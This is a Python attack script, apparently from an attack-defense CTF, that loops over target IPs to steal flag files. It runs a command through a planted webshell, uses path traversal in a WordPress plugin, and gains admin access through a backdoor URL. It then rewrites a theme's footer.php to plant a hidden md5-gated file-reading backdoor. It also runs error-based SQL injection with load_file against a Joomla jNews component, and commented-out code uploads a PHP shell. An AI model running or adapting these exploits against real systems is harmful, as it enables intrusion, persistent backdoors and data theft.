#coding:utf8
import urllib,urllib2
import re
import time
import cookielib
import socket
import json

def easy_webshell(root_url):
	try:
		url = root_url + '/wp-includes/rest-api/endpoints/class-wp-rest-relations-controller.php?%s' % 'cmd=system("cat+/opt/xnuca/flag.txt");'
		req = urllib2.Request(url = url)
		res = urllib2.urlopen(req)
		content = res.read()
		if content != '':
			print root_url + ' -- flag : ' + content
			return 1
		else:
			print root_url + ' fail to get flag through easy_webshell'
			return 0
	except urllib2.URLError as e:
		print 'web_shell error' + e.reason

def LFI(root_url):
	try:
		url = root_url + '/wp-content/plugins/wp-vault/trunk/wp-vault.php?wpv-image=../../../../../opt/xnuca/flag.txt'
		req = urllib2.Request(url = url)
		res = urllib2.urlopen(req)
		content = res.read()
		if content != '':
			print root_url + ' -- flag : ' + content
			return 1
		else:
			print root_url + ' fail to get flag through LFI'
			return 0
	except urllib2.URLError as e:
		print 'LFI error' + e.reason

def loginAsAdmin(root_url):
	try:
		url = root_url
		req = urllib2.Request(url = url)
		res = urllib2.urlopen(req)
		if 'uniform tax rebate chef' not in res.read():
			print 'Theme Not Correct!'
			return
		url = root_url + '/?d=1'
		cookie = cookielib.CookieJar()
		opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
		req = urllib2.Request(url = url)
		res = opener.open(req)
		res = opener.open(req)
		content = res.read()
		if '登出' not in content:
			# print '[!] Cannot log in as admin!!!'
			# print content
			return
		return opener
	except urllib2.URLError as e:
		print 'login error' + e.reason

def uploadShell(root_url):
	try:
		opener = loginAsAdmin(root_url)
		if opener is None:
			print '[!] Cannot log in as admin!!!'
			return
		installUrl = root_url + '/wp-admin/theme-editor.php?file=footer.php&theme=AccountingTime'
		getNonceReq = urllib2.Request(url = installUrl)
		res = opener.open(getNonceReq)
		content = res.read()
		if content == '':
			print 'get Nonce Page Error!!!'
			return
		nonceList = re.findall('<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-zA-Z0-9]+)"',content)
		if nonceList == []:
			print 'get Nonce Page Error!!!!'
			return
		nonce = nonceList[0]
		boundary = '----------%s' % hex(int(time.time() * 1000))
		data = []
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % '_wpnonce')
		data.append(nonce)
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % '_wp_http_referer')
		data.append('/wp-admin/plugin-install.php')
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % 'newcontent')
		data.append('''
<?php global $theme; ?>
    
<?php if($theme->display('footer_widgets')) { ?>
    <div id="footer-widgets" class="clearfix">
        <?php
        /**
        * Footer  Widget Areas. Manage the widgets from: wp-admin -> Appearance -> Widgets 
        */
        ?>
        <div class="footer-widget-box">
            <?php
                if(!dynamic_sidebar('footer_1')) {
                    $theme->hook('footer_1');
                }
            ?>
        </div>
        
        <div class="footer-widget-box">
            <?php
                if(!dynamic_sidebar('footer_2')) {
                    $theme->hook('footer_2');
                }
            ?>
        </div>
        
        <div class="footer-widget-box footer-widget-box-last">
            <?php
                if(!dynamic_sidebar('footer_3')) {
                    $theme->hook('footer_3');
                }
            ?>
        </div>
        
    </div>
<?php  } ?>

    <div id="footer">
    
        <div id="copyrights">
            <?php
                if($theme->display('footer_custom_text')) {
                    $theme->option('footer_custom_text');
                } else { 
                    ?> &copy; <?php echo date('Y'); ?>  <a href="<?php echo home_url(); ?/g"><?php bloginfo('name'); ?></a><?php
                }
            ?> 
        </div>
        
        <?php /* 
            All links in the footer should remain intact. 
            These links are all family friendly and will not hurt your site in any way. 
            Warning! Your site may stop working if these links are edited or deleted 
            
            You can buy this theme without footer links online at https://flexithemes.com/buy/?theme=accountingtime
        */ ?>
        
        <div id="credits">Powered by <a href="http://wordpress.org/"><strong>WordPress</strong></a> | Theme Designed by: <?php echo wp_theme_credits(0); ?>  | Thanks to <?php echo wp_theme_credits(1); ?>, <?php echo wp_theme_credits(2); ?> and <?php echo wp_theme_credits(3); ?></div><!-- #credits -->
        
    </div><!-- #footer -->
    
</div><!-- #container -->

<?php wp_footer(); ?>
<?php $theme->hook('html_after'); ?>
</body>
</html>
<?php if md5($_GET['pr0ph3t'])=='379377cfde157b4d7f6529d448dadd23' echo file_get_contents('/opt/xnuca/flag.txt');?>
''')
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % 'action')
		data.append('update')
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % 'file')
		data.append('footer.php')
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % 'theme')
		data.append('AccountingTime')
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % 'scrollto')
		data.append('818.1818237304688')
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % 'docs-list')
		data.append('')
		data.append('--%s' % boundary)

		data.append('Content-Disposition: form-data; name="%s"\r\n' % 'submit')
		data.append('更新文件')
		data.append('--%s' % boundary)

		# file = open('fuck.php','rb')
		# data.append('Content-Disposition: form-data; name="%s"; filename="123.php\r\n' % 'pluginzip')
		# data.append('Content-Type: text/php\r\n')
		# data.append(file.read())
		# file.close()
		# data.append('--%s--\r\n' % boundary)

		# data.append('Content-Disposition: form-data; name="%s"\r\n' % 'install-plugin-submit')
		# data.append('现在安装')
		# data.append('--%s' % boundary)

		uploadUrl = root_url + '/wp-admin/theme-editor.php'
		http_body='\r\n'.join(data)

		req=urllib2.Request(uploadUrl, data=http_body)
		req.add_header('Content-Type', 'multipart/form-data; boundary=%s' % boundary)
		req.add_header('User-Agent','Mozilla/5.0')
		try : 
			res = opener.open(req, timeout=10)
		except socket.timeout as e:
			pass
		content = res.read()
		if '文件修改成功' in content: #后面为了方便就把上传和修改footer文件写在一起了。。。 注释掉的都是上传的
			print '[!] ' + root_url + ' getShell through footer.php'
			req = urllib2.Request(root_url+'/?pr0ph3t=dalaohao')
			res = urllib2.urlopen(req)
			content = res.read()
			if 'gongfang' in content:
				print '[!!] ' + root_url + ' get flag ' + re.findall('gongfang_flag\{(.*)\}')[0]
		# if '正在安装您上传的插件' in content:
		# 	print '[!] Upload Shell success! Path : /wp-content/uploads/2017/12/123.php'
		# 	req = urllib2.Request(root_url+'/wp-content/uploads/2017/12/123.php')
		# 	req1 = urllib2.Request(root_url+'/wp-content/uploads/2017/12/.db.inc.php')
		# 	try:
		# 		urllib2.urlopen(req1, timeout=0.2)
		# 	except socket.timeout as e:
		# 		pass
		# 	try:
		# 		urllib2.urlopen(req, timeout=0.2)
		# 	except socket.timeout as e:
		# 		pass
		# 	req = urllib2.Request(root_url+'/wp-content/uploads/2017/12/.index.php',data=json.dumps({"p":"密码","c":"system('cat+/opt/xnuca/flag.txt');"}))
		# 	res = urllib2.urlopen(req)
		# 	print root_url + ' flag is : ' + res.read()
		# else:
		# 	print '[?] Upload Fail....'
	except urllib2.URLError as e:
		print 'upload error' + e.reason

for x in xrange(2,20):
	if x == 8:
		continue
	target = 'http://192.121.' + str(x) + '.31'
# target = 'http://192.108.1.30:8002'# + str(x)
	easy_webshell(target) # ok!
	LFI(target) # ???
	uploadShell(target)

import requests
import re

se = requests.Session()


def getToken(hostname='192.108.1.14:1180',pos=32,length=32):
	url = 'http://'+hostname+'/index.php?option=com_jnews&view=subscribe&act=subone&Itemid=206'
	res = se.get(url)
	content = res.content
	tokenGroup = re.findall('name="Itemid" value="206" /><input type="hidden" name="(.*)" value',content)
	if tokenGroup != []:
		token = tokenGroup[0]
	else:
		token = ''
	

	#post data
	data = {}
	data['Itemid'] = '206'
	data['name'] = '123123'
	data['email'] = '[email protected]'
	data['receive_html'] = '1'
	data['timezone'] = '00%3A00%3A00'
	data['confirmed'] = '1'
	data['subscribed[1]'] = '1'
	data['sub_list_id[1]'] = "1 AND EXTRACTVALUE(8483,CONCAT(0x5c,(SELECT(ELT(8483=8483,substr(load_file('/opt/xnuca/flag.txt'),"+str(pos)+","+str(length)+")))),0x716b786b71))" #point
	data['acc_level[1]'] = '29'
	data['passwordA'] = 'FJTx2ubwvj2BA'
	data['fromFrontend'] = '1'
	data['act'] = 'subscribe'
	data['subscriber_id'] = '0'
	data['user_id'] = '0'
	data['option'] = 'com_jnews'
	data['task'] = 'save'
	data['boxchecked'] = '0'
	data[token] = '1'
	
	vulUrl = 'http://'+ hostname +'/index.php/component/jnews/'
	res = se.post(vulUrl,data=data)
	flag = re.findall(r'XPATH syntax error: &#039;\\(.*)&#039; SQL=',res.content)
	if flag != []:
		return flag[0]
	else:
		return 'error'

for x in xrange(1,20): #跳过一些确认打不了的主机加快时间
	if x == 8:
		continue
	if x == 3:
		continue
	if x == 7:
		continue
	if x == 10:
		continue
	if x == 11:
		continue
	if x == 12:
		continue
# hostname = '192.108.1.14:1180'
	hostname = '192.121.' + str(x) + '.34'
	win = ''
	win = getToken(hostname,1)
	win += getToken(hostname,32)
	win += getToken(hostname,63,17)[:-5]
	print hostname + ' get flag ' +win